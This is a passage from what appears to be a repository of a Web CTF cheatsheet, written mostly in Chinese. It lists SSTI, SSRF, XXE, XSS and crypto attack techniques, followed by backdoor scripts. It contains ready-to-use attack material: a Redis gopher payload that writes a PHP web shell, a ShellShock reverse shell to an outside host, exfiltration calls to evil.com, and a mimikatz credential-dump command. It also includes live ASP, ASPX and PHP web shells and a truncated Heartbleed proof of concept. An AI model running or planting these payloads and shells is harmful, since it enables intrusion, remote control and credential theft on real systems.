constructor.constructor('alert(1)')() }}` 2.1 v1.0.1-v1.1.5 1897 | - `{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}` 2.1 v1.0.1-v1.1.5 1898 | - `{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }}` 2.3 v1.2.19-v1.2.23 1899 | - `{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}` v1.2.24-v1.2.29 1900 | - `{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}` v1.3.20 1901 | - `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}` v1.4.0-v1.4.9 1902 | - `{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}` v1.5.0-v1.5.8 1903 | - `{{ [].pop.constructor('alert(1)')() }}` 2.8 v1.6.0-1.6.6 1904 | 1905 | ## Vue.js 1906 | - `{{constructor.constructor('alert(1)')()}}` 1907 | - https://github.com/dotboris/vuejs-serverside-template-xss 1908 | 1909 | ## Python 1910 | - `%` 1911 | - 輸入`%(passowrd)s`即可偷到密碼: 1912 | ```python 1913 | userdata = {"user" : "kaibro", "password" : "ggininder" } 1914 | passwd = raw_input("Password: ") 1915 | if passwd != userdata["password"]: 1916 | print ("Password " + passwd + " is wrong for user %(user)s") % userdata 1917 | ``` 1918 | - `f` 1919 | - python 3.6 1920 | - example 1921 | - `a="gg"` 1922 | - `b=f"{a} ininder"` 1923 | - `>>> gg ininder` 1924 | - example2 1925 | - `f"{os.system('ls')}"` 1926 | 1927 | ## Tool 1928 | - https://github.com/epinna/tplmap 1929 | 1930 | --- 1931 | 1932 | http://blog.portswigger.net/2015/08/server-side-template-injection.html 1933 | 1934 | # SSRF 1935 | 1936 | ## Bypass 127.0.0.1 1937 | 1938 | ``` 1939 | 127.0.0.1 1940 | localhost 1941 | 127.0.1 1942 | 127.1 1943 | 0.0.0.0 1944 | 0.0 1945 | 0 1946 | 1947 | ::1 1948 | ::127.0.0.1 1949 | ::ffff:127.0.0.1 1950 | ::1%1 1951 | 1952 | 127.12.34.56 (127.0.0.1/8) 1953 | 127.0.0.1.xip.io 1954 | 1955 | http://2130706433 (decimal) 1956 | http://0x7f000001 1957 | http://017700000001 1958 | http://0x7f.0x0.0x0.0x1 1959 | http://0177.0.0.1 1960 | http://0177.01.01.01 1961 | http://0x7f.1 1962 | http://[::] 1963 | 1964 | ``` 1965 | 1966 | ## Bypass using Ⓐ Ⓑ Ⓒ Ⓓ 1967 | 1968 | - `http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌ` 1969 | - `http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ` 1970 | 1971 | ## 內網IP 1972 | 1973 | - `10.0.0.0/8` 1974 | - `172.16.0.0/12` 1975 | - `192.168.0.0/16` 1976 | 1977 | ## XSPA 1978 | 1979 | - port scan 1980 | - `127.0.0.1:80` => OK 1981 | - `127.0.0.1:87` => Timeout 1982 | - `127.0.0.1:9487` => Timeout 1983 | 1984 | ## 302 Redirect Bypass 1985 | 1986 | - 用來繞過protocol限制 1987 | - 第一次SSRF,網站有做檢查、過濾 1988 | - 302跳轉做第二次SSRF沒有檢查 1989 | 1990 | ## 本地利用 1991 | 1992 | - file protocol 1993 | - `file:///etc/passwd` 1994 | - `file:///proc/self/cmdline` 1995 | - 看他在跑啥 1996 | - `file:///proc/self/exe` 1997 | - dump binary 1998 | - `file:///proc/self/environ` 1999 | - 讀環境變數 2000 | - `curl file://google.com/etc/passwd` 2001 | - 新版已修掉 2002 | - 實測libcurl 7.47可work 2003 | - Java原生可列目錄 2004 | - Perl/Ruby open Command Injection 2005 | 2006 | ## 遠程利用 2007 | - Gopher 2008 | - 可偽造任意TCP,hen蚌 2009 | - `gopher://127.0.0.1:5278/xGG%0d%0aININDER` 2010 | - 常見例子 2011 | - Struts2 2012 | - S2-016 2013 | - `action:`、`redirect:`、`redirectAction:` 2014 | - `index.do?redirect:${new java.lang.ProcessBuilder('id').start()}` 2015 | - ElasticSearch 2016 | - default port: `9200` 2017 | - Redis 2018 | - default port: `6379` 2019 | - 用SAVE寫shell 2020 | ``` 2021 | FLUSHALL 2022 | SET myshell "" 2023 | CONFIG SET DIR /www 2024 | CONFIG SET DBFILENAME shell.php 2025 | SAVE 2026 | QUIT 2027 | ``` 2028 | - URLencoded payload: 2029 | `gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT` 2030 | - FastCGI 2031 | - default port: 9000 2032 | - example 2033 | - Discuz Pwn 2034 | - 302.php: `` 2037 | - visit: `/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]` 2038 | - MySQL 2039 | - 無密碼認證可以SSRF 2040 | - MySQL Client與Server交互主要分兩階段 2041 | - Connection Phase 2042 | - Command Phase 2043 | - `gopher://127.0.0.1:3306/_` 2044 | 2045 | - Docker 2046 | - Remote api未授權訪問 2047 | - 開一個container,掛載/root/,寫ssh key 2048 | - 寫crontab彈shell 2049 | 2050 | - ImageMagick - CVE-2016-3718 2051 | - 可以發送HTTP或FTP request 2052 | - payload: ssrf.mvg 2053 | ``` 2054 | push graphic-context 2055 | viewbox 0 0 640 480 2056 | fill 'url(http://example.com/)' 2057 | pop graphic-context 2058 | ``` 2059 | - `$ convert ssrf.mvg out.png` 2060 | 2061 | 2062 | ## CRLF injection 2063 | 2064 | ### SMTP 2065 | 2066 | SECCON 2017 SqlSRF: 2067 | 2068 | `127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/` 2069 | 2070 | ## FingerPrint 2071 | 2072 | - dict 2073 | ``` 2074 | dict://evil.com:5566 2075 | 2076 | $ nc -vl 5566 2077 | Listening on [0.0.0.0] (family 0, port 5278) 2078 | Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790) 2079 | CLIENT libcurl 7.35.0 2080 | 2081 | -> libcurl version 2082 | ``` 2083 | - sftp 2084 | ``` 2085 | sftp://evil.com:5566 2086 | 2087 | $ nc -vl 5566 2088 | Listening on [0.0.0.0] (family 0, port 5278) 2089 | Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810) 2090 | SSH-2.0-libssh2_1.4.2 2091 | 2092 | -> ssh version 2093 | ``` 2094 | 2095 | - Content-Length 2096 | - 送超大Content-length 2097 | - 連線hang住判斷是否為HTTP Service 2098 | 2099 | ## UDP 2100 | 2101 | - tftp 2102 | - `tftp://evil.com:5566/TEST` 2103 | - syslog 2104 | 2105 | --- 2106 | 2107 | SSRF Bible: 2108 | 2109 | https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit 2110 | 2111 | Testing Payload: 2112 | 2113 | https://github.com/cujanovic/SSRF-Testing 2114 | 2115 | 2116 | # XXE 2117 | 2118 | ## 內部實體 2119 | 2120 | ```xml 2121 | 2123 | ]> 2124 | ¶m; 2125 | ``` 2126 | 2127 | ## 外部實體 2128 | 2129 | - `libxml2.9.0`以後,預設不解析外部實體 2130 | - `simplexml_load_file()`舊版本中預設解析實體,但新版要指定第三個參數`LIBXML_NOENT` 2131 | - `SimpleXMLElement` is a class in PHP 2132 | - http://php.net/manual/en/class.simplexmlelement.php 2133 | 2134 | ```xml 2135 | 2137 | ]> 2138 | &xxe; 2139 | ``` 2140 | 2141 | ```xml 2142 | 2144 | ]> 2145 | &xxe; 2146 | ``` 2147 | 2148 | ### XXE on Windows 2149 | 2150 | ```xml 2151 | 2153 | ]> 2154 | &xxe; 2155 | ``` 2156 | 2157 | ## 參數實體 2158 | 2159 | ```xml 2160 | 2162 | %remote; 2163 | ]> 2164 | &b; 2165 | ``` 2166 | xxe.dtd: `` 2167 | 2168 | 2169 | ## Out of Band (OOB) XXE 2170 | 2171 | - Blind 無回顯 2172 | 2173 | ```xml 2174 | 2175 | 2177 | 2178 | %remote; 2179 | %all; 2180 | %send; 2181 | ]> 2182 | ``` 2183 | 2184 | xxe.dtd: 2185 | 2186 | ```xml 2187 | "> 2188 | ``` 2189 | 2190 | ## DoS 2191 | 2192 | - Billion Laugh Attack 2193 | 2194 | ```xml 2195 | 2197 | 2198 | 2199 | 2200 | 2201 | ]> 2202 | &a4; 2203 | ``` 2204 | 2205 | ## 串Phar反序列化 2206 | 2207 | ```xml 2208 | 2209 | ]> 2211 | 2212 | &xxe; 2213 | 2214 | ``` 2215 | 2216 | - Example: MidnightSun CTF - Rubenscube 2217 | 2218 | ## 其它 2219 | 2220 | - DOCX 2221 | - XLSX 2222 | - PPTX 2223 | - PDF 2224 | - https://github.com/BuffaloWill/oxml_xxe 2225 | 2226 | # XSS 2227 | 2228 | ## Basic Payload 2229 | 2230 | - `` 2231 | - `` 2232 | - `` 2233 | - `g` 2234 | - `` 2235 | - `` 2236 | - ... 2237 | 2238 | ## Testing 2239 | 2240 | - `` 2241 | - `'">` 2242 | - `` 2243 | - `'">` 2244 | - `' onmouseover=alert(1) x='` 2245 | - `" onmouseover=alert(1) x="` 2246 | - ``` `onmouseover=alert(1) x=` ``` 2247 | - `javascript:alert(1)//` 2248 | - .... 2249 | 2250 | ## 繞過 2251 | 2252 | - `//`(javascript註解)被過濾時,可以利用算數運算符代替 2253 | - `xss` 2254 | - HTML特性 2255 | - 不分大小寫 2256 | - `` 2311 | - 因為``,HTML Entities會被解析 2312 | - 去掉``會失敗,`

可控內容

2352 | 2353 | ``` 2354 | 2355 | 插入` 2360 | ``` 2361 | 2362 | - Script Gadget 2363 | - https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf 2364 | - is an **existing** JS code on the page that may be used to bypass mitigations 2365 | - Bypassing CSP strict-dynamic via Bootstrap 2366 | - `

` 2367 | - Bypassing sanitizers via jQuery Mobile 2368 | - `
` 2369 | - Bypassing NoScript via Closure (DOM clobbering) 2370 | - `` 2371 | - Bypassing ModSecurity CRS via Dojo Toolkit 2372 | - `
` 2373 | - Bypassing CSP unsafe-eval via underscore templates 2374 | - `
<% alert(1) %>
` 2375 | - 0CTF 2018 - h4xors.club2 2376 | - google analytics ea 2377 | - ea is used to log actions and can contain arbitrary string 2378 | - Google CTF 2018 - gcalc2 2379 | 2380 | 2381 | ## Online Encoding / Decoding 2382 | - http://monyer.com/demo/monyerjs/ 2383 | 2384 | ## JSFuck 2385 | - http://www.jsfuck.com/ 2386 | 2387 | ## aaencode / aadecode 2388 | - http://utf-8.jp/public/aaencode.html 2389 | - https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html 2390 | 2391 | 2392 | ## RPO 2393 | 2394 | - http://example.com/a%2findex.php 2395 | - 瀏覽器會把`a%2findex.php`當成一個檔案 2396 | - Web Server則會正常解析成`a/index.php` 2397 | - 所以當使用**相對路徑**載入css時,就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案 2398 | - 如果該檔案內容可控,則有機會XSS 2399 | - 舉例: 2400 | - `/test.php`中有`` 2401 | - 另有`/1/index.php`給`?query=`參數,會直接輸出該參數內容 2402 | - 訪問`/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php`就會讓背景變紅色 2403 | - Server: `/test.php` 2404 | - Browser: `/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php` 2405 | - CSS會載入`/1/?query={}*{background-color:red}/../../1/` 2406 | - CSS語法容錯率很高 2407 | 2408 | ## CSS Injection 2409 | 2410 | - CSS可控時,可以Leak Information 2411 | - Example: 2412 | - leak `` 2413 | - `input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}` 2414 | - `input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}` 2415 | - ... 2416 | - SECCON CTF 2018 - GhostKingdom 2417 | 2418 | # 密碼學 2419 | 2420 | ## PRNG 2421 | 2422 | - php 7.1.0後 `rand()`和`srand()`已經等同`mt_rand()`和`mt_srand()` 2423 | - 測試結果:https://3v4l.org/PIUEo 2424 | 2425 | - php > 4.2.0 會自動對`srand()`和`mt_srand()`播種 2426 | - 只進行一次seed,不會每次`rand()`都seed 2427 | 2428 | - 可以通過已知的random結果,去推算隨機數種子,然後就可以推算整個隨機數序列 2429 | - 實際應用上可能會碰到連上的不是同個process,可以用`Keep-Alive 2430 | `來確保連上同個php process(只會seed一次) 2431 | - 7.1以前`rand()`使用libc random(),其核心為:` 2432 | state[i] = state[i-3] + state[i-31]` 2433 | - 所以只要有31個連續隨機數就能預測接下來的隨機數 2434 | - 後來`rand()` alias成`mt_rand()`,採用的是`Mersenne Twister`算法 2435 | - Example: HITCON 2015 - Giraffe’s Coffee 2436 | 2437 | 2438 | ## ECB mode 2439 | 2440 | ### Cut and Paste Attack 2441 | 2442 | - 每個Block加密方式都一樣,所以可以把Block隨意排列 2443 | - 舉例: `user=kaibro;role=user` 2444 | - 假設Block長度為8 2445 | - 構造一下user: (`|`用來區隔Block) 2446 | - `user=aaa|admin;ro|le=user` 2447 | - `user=aaa|aa;role=|user` 2448 | - 排列一下:(上面每塊加密後的Block都已知) 2449 | - `user=aaa|aa;role=|admin;ro` 2450 | - Example: AIS3 2017 pre-exam 2451 | 2452 | ### Encryption Oracle Attack 2453 | 2454 | - `ECB(K, A + B + C)`的運算結果可知 2455 | - B可控 2456 | - K, A, C未知 2457 | - C的內容可以透過以下方法爆出來: 2458 | - 找出最小的長度L 2459 | - 使得將B改成L個a,該段pattern剛好重複兩次 2460 | - `...bbbb bbaa aaaa aaaa cccc ...` 2461 | - `...???? ???? 5678 5678 ???? ...` 2462 | - 改成L-1個a,可得到`ECB(K, "aa...a" + C[0])`這個Block的內容 2463 | - C[0]可爆破求得,後面也依此類推 2464 | - 常見發生場景:Cookie 2465 | 2466 | ## CBC mode 2467 | 2468 | ### Bit Flipping Attack 2469 | 2470 | - 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C 2471 | - CBC mode解密時,`A XOR B = C` 2472 | - 若要使輸出明文變`X` 2473 | - 修改A為`A XOR C XOR X` 2474 | - 則原本式子變成`(A XOR C XOR X) XOR B = X` 2475 | 2476 | ### Padding Oracle Attack 2477 | 2478 | - `PKCS#7` 2479 | - Padding方式:不足x個Byte,就補x個x 2480 | - 例如:Block長度8 2481 | - `AA AA AA AA AA AA AA 01` 2482 | - `AA AA AA AA AA AA 02 02` 2483 | - `AA AA AA AA AA 03 03 03` 2484 | - ... 2485 | - `08 08 08 08 08 08 08 08` 2486 | - 在常見情況下,如果解密出來發現Padding是爛的,會噴Exception或Error 2487 | - 例如:HTTP 500 Internal Server Error 2488 | - 須注意以下這類情況,不會噴錯: 2489 | - `AA AA AA AA AA AA 01 01` 2490 | - `AA AA 02 02 02 02 02 02` 2491 | - 原理: 2492 | - CBC mode下,前一塊密文會當作當前這塊的IV,做XOR 2493 | - 如果構造`A||B`去解密 (A, B是密文Block) 2494 | - 此時,A會被當作B的IV,B會被解成`D(B) XOR A` 2495 | - 可以透過調整A,使得Padding變合法,就可以得到`D(B)`的值 2496 | - 例如:要解最後1 Byte 2497 | - 想辦法讓最後解出來變成`01`結尾 2498 | - 運氣不好時,可能剛好碰到`02 02`結尾,可以調整一下A倒數第2 Byte 2499 | - `D(B)[-1] XOR A[-1] = 01` 2500 | - `D(B)[-1] = A[-1] XOR 01` 2501 | - 有最後1 Byte就可以依此類推,調整倒數第2 Byte 2502 | - `D(B) XOR C`就能得到明文 (C為前一塊真正的密文) 2503 | 2504 | 2505 | 2506 | ## Length Extension Attack 2507 | 2508 | - 很多hash算法都可能存在此攻擊,例如`md5`, `sha1`, `sha256`... 2509 | - 主要是因為他們都使用Merkle-Damgard hash construction 2510 | - 會依照64 Byte分組,不足會padding 2511 | - 1 byte的`0x80`+一堆`0x00`+8 bytes的`長度` 2512 | - IV是寫死的,且每一組輸出結果會當下一組的輸入 2513 | - 攻擊條件: (這裏md5換成sha1, sha256...也通用) 2514 | - 已知`md5(secret+message)` 2515 | - 已知`secret長度` 2516 | - 已知`message內容` 2517 | - 符合三個條件就能構造`md5(secret+message+padding+任意字串)` 2518 | - 工具 - hashpump 2519 | - 基本用法: 2520 | 1. 輸入`md5(secret+message)`的值 2521 | 2. 輸入`message`的值 2522 | 3. 輸入`secert長度` 2523 | 4. 輸入要加在後面的字串 2524 | 5. 最後會把`md5(secret+message+padding+任意字串)`和`message+padding+任意字串`噴給你 2525 | 2526 | 2527 | # 其它 2528 | 2529 | - Information leak 2530 | - .git / .svn 2531 | - robots.txt 2532 | - /.well-known 2533 | - .DS_Store 2534 | - .htaccess 2535 | - .pyc 2536 | - server-status 2537 | - crossdomain.xml 2538 | - admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/ 2539 | - xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps 2540 | - /WEB-INF/web.xml 2541 | - 文件解析漏洞 2542 | - Apache 2543 | - shell.php.ggininder 2544 | - shell.php%0a 2545 | - httpd 2.4.0 to 2.4.29 2546 | - CVE-2017-15715 2547 | - IIS 2548 | - IIS < 7 2549 | - a.asp/user.jpg 2550 | - user.asp;aa.jpg 2551 | - Nginx 2552 | - nginx < 8.03 2553 | - `cgi.fix_pathinfo=1` 2554 | - Fast-CGI開啟狀況下 2555 | - kaibro.jpg: `');?>` 2556 | - 訪問`kaibro.jpg/.php`生成shell.php 2557 | 2558 | - AWS常見漏洞 2559 | - S3 bucket權限配置錯誤 2560 | - nslookup判斷 2561 | - `nslookup 87.87.87.87` 2562 | - `s3-website-us-west-2.amazonaws.com.` 2563 | - 確認bucket 2564 | - 訪問`bucketname.s3.amazonaws.com` 2565 | - 成功會返回bucket XML資訊 2566 | - awscli工具 2567 | - 列目錄 `aws s3 ls s3://bucketname/ --region regionname` 2568 | - 下載 `aws sync s3://bucketname/ localdir --region regionname` 2569 | - metadata 2570 | - http://169.254.169.254/latest/meta-data/ 2571 | - Tool 2572 | - https://andresriancho.github.io/nimbostratus/ 2573 | 2574 | - 常見Port服務 2575 | - http://packetlife.net/media/library/23/common_ports.pdf 2576 | - `php -i | grep "Loaded Configuration File"` 2577 | 2578 | - 列出php.ini路徑 2579 | 2580 | - `curl -i -X OPTIONS 'http://evil.com/'` 2581 | 2582 | - ShellShock 2583 | 2584 | - `() { :; }; echo vulnerable` 2585 | - `() { :a; }; /bin/cat /etc/passwd` 2586 | - `() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'` 2587 | 2588 | - X-forwarded-for偽造來源IP 2589 | 2590 | - DNS Zone Transfer 2591 | - `dig @1.2.3.4 abc.com axfr` 2592 | - DNS Server: `1.2.3.4` 2593 | - Test Domain: `abc.com` 2594 | 2595 | - NodeJS unicode failure 2596 | - 內部使用UCS-2編碼 2597 | - `NN` => `..` 2598 | - `N` 即 `\xff\x2e` 2599 | - 轉型時捨棄第一個Byte 2600 | 2601 | - 特殊的CRLF Injection繞過 2602 | - `%E5%98%8A` 2603 | - 原始的Unicode碼為`U+560A` 2604 | - raw bytes: `0x56`, `0x0A` 2605 | 2606 | - MySQL utf8 v.s. utf8mb4 2607 | - MySQL utf8編碼只支援3 bytes 2608 | - 若將4 bytes的utf8mb4插入utf8中,在non strict模式下會被截斷 2609 | - CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability 2610 | 2611 | - Nginx internal繞過 2612 | - `X-Accel-Redirect` 2613 | - [Document](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) 2614 | - Example: 2615 | - Olympic CTF 2014 - CURLing 2616 | - MidnightSun CTF 2019 - bigspin 2617 | 2618 | 2619 | - Nginx目錄穿越漏洞 2620 | - 常見於Nginx做Reverse Proxy的狀況 2621 | ``` 2622 | location /files { 2623 | alias /home/ 2624 | } 2625 | ``` 2626 | - 因為`/files`沒有加上結尾`/`,而`/home/`有 2627 | - 所以`/files../`可以訪問上層目錄 2628 | 2629 | - Node.js目錄穿越漏洞 2630 | - CVE-2017-14849 2631 | - 影響: 8.5.0版 2632 | - `/static/../../../foo/../../../../etc/passwd` 2633 | 2634 | - Apache Tomcat Session操縱漏洞 2635 | - 預設session範例頁面`/examples/servlets /servlet/SessionExample` 2636 | - 可以直接對Session寫入 2637 | 2638 | - polyglot image+.htaccess 2639 | - XBM格式有定義在`exif_imagetype()`中 2640 | - 符合`.htaccess`格式 2641 | - Insomnihack CTF 2642 | ``` 2643 | #define gg_width 1337 2644 | #define gg_height 1337 2645 | AddType application/x-httpd-php .asp 2646 | ``` 2647 | 2648 | - AutoBinding / Mass Assignment 2649 | - [Mass_Assignment_Cheat_Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md) 2650 | - Spring MVC 2651 | - `@ModelAttribute` 2652 | - 會將Client端傳來的參數(GET/POST)綁定到指定Object中,並自動將此Object加到ModelMap中 2653 | - Example 2654 | ```java 2655 | @RequestMapping(value = "/home", method = RequestMethod.GET) 2656 | public String home(@ModelAttribute User user, Model model) { 2657 | if (showSecret){ 2658 | model.addAttribute("firstSecret", firstSecret); 2659 | } 2660 | return "home"; 2661 | } 2662 | ``` 2663 | - Example 2: 2664 | - [justiceleague](https://github.com/GrrrDog/ZeroNights-HackQuest-2016) 2665 | - Example 3: VolgaCTF 2019 - shop 2666 | 2667 | - tcpdump 2668 | - `-i` 指定網卡,不指定則監控所有網卡 2669 | - `-s` 默認只抓96bytes,可以-s指定更大數值 2670 | - `-w` 指定輸出檔 2671 | - `host` 指定主機(ip or domain) 2672 | - `dst`, `src` 來源或目的端 2673 | - `port`指定端口 2674 | - `tcp`, `udp`, `icmp` 指定協議 2675 | - example 2676 | - 來源192.168.1.34且目的端口為80 2677 | - `tcpdump -i eth0 src 192.168.1.34 and dst port 80` 2678 | - 來源192.168.1.34且目的端口是22或3389 2679 | - `tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'` 2680 | - 保存檔案,可以後續用wireshark分析 2681 | - `tcpdump -i eth0 src kaibro.tw -w file.cap` 2682 | 2683 | 2684 | 2685 | # Tool & Online Website 2686 | 2687 | ## Information gathering 2688 | 2689 | - http://pentest-tools.com/ 2690 | 2691 | - https://www.shodan.io/ 2692 | 2693 | - https://www.zoomeye.org/ 2694 | 2695 | - https://censys.io 2696 | 2697 | - https://crt.sh/ 2698 | 2699 | - http://webscan.cc/ 2700 | 2701 | - https://x.threatbook.cn/ 2702 | 2703 | - https://dnsdumpster.com/ 2704 | 2705 | - https://www.domainiq.com/reverse_whois 2706 | 2707 | - https://www.yougetsignal.com/tools/web-sites-on-web-server/ 2708 | 2709 | - https://www.robtex.com/dns-lookup/ 2710 | 2711 | - https://phpinfo.me/bing.php 2712 | 2713 | - https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project 2714 | 2715 | - https://github.com/laramies/theHarvester 2716 | 2717 | - https://github.com/drwetter/testssl.sh 2718 | 2719 | - https://github.com/urbanadventurer/WhatWeb 2720 | 2721 | - https://buckets.grayhatwarfare.com/ 2722 | 2723 | ## Social Engineering 2724 | 2725 | - https://leakedsource.ru/ 2726 | 2727 | - https://www.shuju666.com/ 2728 | 2729 | - http://www.pwsay.com/ 2730 | 2731 | - http://www.mimayun.club/ 2732 | 2733 | - http://leakbase.pw 2734 | 2735 | - https://haveibeenpwned.com/ 2736 | 2737 | ## Crack 2738 | 2739 | - http://cmd5.com 2740 | 2741 | - https://somd5.com/ 2742 | 2743 | - https://crackstation.net/ 2744 | 2745 | - https://hashkiller.co.uk/ 2746 | 2747 | ## 其它 2748 | 2749 | - https://3v4l.org/ 2750 | - php eval 2751 | 2752 | - https://github.com/denny0223/scrabble 2753 | - git 2754 | 2755 | - https://github.com/lijiejie/ds_store_exp 2756 | - .DS_Store 2757 | 2758 | - https://github.com/kost/dvcs-ripper 2759 | - git / svn / hg / cvs ... 2760 | 2761 | - http://www.factordb.com/ 2762 | 2763 | - unicode converter 2764 | - https://www.branah.com/unicode-converter 2765 | 2766 | - PHP混淆 / 加密 2767 | - http://enphp.djunny.com/ 2768 | - http://www.phpjm.net/ 2769 | 2770 | - https://github.com/PowerShellMafia/PowerSploit 2771 | 2772 | - https://github.com/swisskyrepo/PayloadsAllTheThings/ 2773 | 2774 | - http://xssor.io 2775 | 2776 | - https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt 2777 | - XSS Payloads 2778 | 2779 | - DNSLog 2780 | - http://ceye.io 2781 | - https://www.t00ls.net/dnslog.html 2782 | - http://dnsbin.zhack.ca/ 2783 | 2784 | - https://r12a.github.io/apps/encodings/ 2785 | - Encoding converter 2786 | 2787 | - http://tool.leavesongs.com/ 2788 | 2789 | - Mimikatz 2790 | - `mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt` 2791 | 2792 | - WASM 2793 | - https://wasdk.github.io/WasmFiddle/ 2794 | 2795 | ---- 2796 | 2797 | # Contributing 2798 | 2799 | Welcome to open Pull Request 2800 | 2801 | OR 2802 | 2803 | [![Buy me a coffee](https://www.buymeacoffee.com/assets/img/custom_images/black_img.png)](https://www.buymeacoffee.com/b4wKcIZ) 2804 | 2805 | 2806 | -------------------------------------------------------------------------------- /scripts/backdoor/bypass_mail_shellshock.php: -------------------------------------------------------------------------------- 1 | $tmp 2>&1"); 15 | // In Safe Mode, the user may only alter environment variableswhose names 16 | // begin with the prefixes supplied by this directive. 17 | // By default, users will only be able to set environment variablesthat 18 | // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 19 | // PHP will let the user modify ANY environment variable! 20 | mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 21 | $output = @file_get_contents($tmp); 22 | @unlink($tmp); 23 | if($output != "") return $output; 24 | else return "No output, or not vuln."; 25 | } 26 | echo shellshock($_REQUEST["cmd"]); 27 | ?> 28 | -------------------------------------------------------------------------------- /scripts/backdoor/get_flag.php: -------------------------------------------------------------------------------- 1 | 5 | -------------------------------------------------------------------------------- /scripts/backdoor/php-jpeg-shell.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yavolo/Web-CTF-Cheatsheet/ac01986e91462996e9d2226f60fddfbd6512aea6/scripts/backdoor/php-jpeg-shell.php -------------------------------------------------------------------------------- /scripts/backdoor/shell.asp: -------------------------------------------------------------------------------- 1 | <%execute request("gg")%> 2 | -------------------------------------------------------------------------------- /scripts/backdoor/shell.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> 2 | -------------------------------------------------------------------------------- /scripts/backdoor/shell.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /scripts/backdoor/uploader.php: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
5 | 10 | -------------------------------------------------------------------------------- /scripts/others/IP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import socket 4 | 5 | def getDec(parts): 6 | dec = 0 7 | w = 1 8 | for i in range(len(parts)): 9 | dec += int(parts[i]) * (256 ** ((3 - i))) 10 | return dec 11 | 12 | def getHex(parts): 13 | hx = '' 14 | for i in range(len(parts)): 15 | if i != 0: hx += '.' 16 | hx += hex(int(parts[i])) 17 | return hx 18 | 19 | def getOct(parts): 20 | ot = '' 21 | for i in range(len(parts)): 22 | if i != 0: ot += '.' 23 | ot += oct(int(parts[i])) 24 | return ot 25 | 26 | def getBin(parts): 27 | bi = '' 28 | for i in range(len(parts)): 29 | if i != 0: bi += '.' 30 | bi += bin(int(parts[i])) 31 | return bi 32 | 33 | if len(sys.argv) < 2: 34 | host = raw_input('input host:') 35 | else: 36 | host = sys.argv[1] 37 | ip = socket.gethostbyname(host) 38 | 39 | print "IP Address:", ip 40 | 41 | print 42 | 43 | parts = ip.split('.') 44 | 45 | dec = getDec(parts) 46 | 47 | print "Decimal IP:", dec 48 | 49 | print 50 | 51 | hx = getHex(parts) 52 | 53 | print "Hex IP:", hex(dec) 54 | print "Dotted Hex IP:", hx 55 | 56 | print 57 | 58 | print "Oct IP", oct(dec) 59 | print "Dotted Oct IP:", getOct(parts) 60 | 61 | print 62 | 63 | print "xip.io:", ip + ".xip.io" 64 | -------------------------------------------------------------------------------- /scripts/others/ssltest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) 4 | # The author disclaims copyright to this source code. 5 | 6 | import sys 7 | import struct 8 | import socket 9 | import time 10 | import select 11 | import re 12 | from optparse import OptionParser 13 | 14 | options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 15 | options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 16 | 17 | def h2bin(x): 18 | return x.replace(' ', '').replace('\n', '').decode('hex') 19 | 20 | hello = h2bin(''' 21 | 16 03 02 00 dc 01 00 00 d8 03 02 53 22 | 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 23 | 